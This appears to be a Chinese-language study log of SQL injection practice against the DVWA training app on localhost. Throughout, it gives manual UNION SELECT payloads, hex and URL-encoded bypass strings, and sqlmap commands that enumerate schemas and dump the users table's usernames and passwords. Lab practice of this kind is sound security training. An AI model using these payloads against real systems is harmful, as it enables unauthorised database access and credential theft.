一、简单sql显注步骤
1.先判断是否存在注入点及注入的类型。
(1)简单判断是否有注入点,加单引号报错,就代表有注入的风险,但是不能判断数据是什么类型
(2)进一步精确判断类型
数字型判断,输入下面两种,返回结果不一致,则存在数字型注入,否则不存在
1 and 1 = 1
1 and 1 = 2
例如,下面这种情况,非数字型注入
字符型判断,输入下面两种,返回结果不一致,则存在字符型注入,否则不存在
1’ and ‘1’=‘1
1’ and ‘1’='2
例如 下面这种情况,是字符型注入
2.确定有注入漏洞后,根据数据类型,使用ORDER BY 查询列数。
(1)字符型先闭合,在输入order by 判断列数,当输入n语句报错时,字段列数为n-1
1’ order by 2 #(注意省略sql后面语句可用-- 或者#)(-- 后面有空格)
例如如下,字符型类型,字段列数为2
1’ order by 2 #
1’ order by 3 –
(2)数字型不需要闭合,直接用order by 判断列数,当输入n语句报错时,字段列数为n-1
例如如下,数字型类型,字段列数为2
1 order by 2 #
1 order by 3 #
3.使用union select观察回显的位置
union 是关联前后多个select语句,并把后面sql语句的结果和最开始的一起展示出来。
例如
1’# 结果如下
1’ union select 1,2# 结果如下,多出个显示1,2的位置,这个是union 后面我们要查询的数据的位置。
10’ union select 1,2# 结果如下,因为10不是数据库里面所以只显示了union后面的语句结果
4.获取数据库名。
(1)查询当前数据库
10’ union select 1,database()#
(2)查询所有数据库
10’ union select 1,schema_name from information_schema.schemata#
5.获取数据库中的所有表名。
(1)查询dvwa里面所有的表
10’ union select 1,table_name from information_schema.tables where table_schema= ‘dvwa’#
6.获取数据库的表中的所有字段名
(1)查询user里面所有的字段名
10’ union select 1,column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’#
7.获取字段中的数据。
(1)查询user,password的数据
10’ union select user, password from dvwa.users#
二、【dvwa】SQL Injection 手动sqlmap测试记录
1.低级
get请求,直接在搜索框里面写需要注入的数据就行,下面是id后面跟的参数
sqlmap后面直接跟参数,url即可
1.有哪些库
手动
1’ union select 1, schema_name from information_schema.schemata#
sqlmap工具
sqlmap -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie ‘内容’ --dbs --batch
2.有哪些表
手动
1’ union select 1, table_name from information_schema.tables where table_schema= ‘dvwa’#
sqlmap工具
sqlmap -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie ‘内容’ -D dvwa --tables
3.有哪些字段
手动
1’ union select 1, column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’#
sqlmap工具
sqlmap -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie ‘内容’ -D dvwa -T users --column
4.字段内容
手动
1’ union select user, password from dvwa.users#
sqlmap工具
sqlmap -u “http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie ‘内容’ -D dvwa -T users -C user,password --dump
2.中级
post请求需要用到工具burp,
sqlmap扫描需要(将post请求包放在1.txt文档里面)
1.有哪些库 dbs
手动
1 union select 1, schema_name from information_schema.schemata#
sqlmap工具
sqlmap -r Desktop/1.txt --dbs --batch
2.有哪些表
手动
1 union select 1, table_name from information_schema.tables where table_schema= database()
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa --tables
3.有哪些字段(十六进制绕过,或者整体url编码绕过)
手动
1 union select 1, column_name from information_schema.columns where table_schema= database() and table_name= 0x7573657273 #
%31%20%61%6e%64%20%31%3d%32%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%20%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%20%64%61%74%61%62%61%73%65%28%29%20%61%6e%64%20%74%61%62%6c%65%5f%6e%61%6d%65%3d%20%30%78%37%35%37%33%36%35%37%32%37%33%20%23
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa -T users --column
4.字段内容
手动
1 union select user,password from dvwa.users #
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa -T users -C user,passwprd --dump
3. 高级
1.有哪些库 dbs
手动:需要抓两个页面,一个是提交数据的,一个是发送数据的
1’ union select 1, schema_name from information_schema.schemata#
sqlmap工具
sqlmap -r Desktop/1.txt --dbs --batch
2.有哪些表
手动
1’ union select 1, table_name from information_schema.tables where table_schema= ‘dvwa’#
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa --tables
3.有哪些字段
手动
1’ union select 1, column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’#
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa -T users --column
4.字段内容
手动
1’ union select user, password from dvwa.users#
sqlmap工具
sqlmap -r Desktop/1.txt -D dvwa -T users -C user,passwprd --dump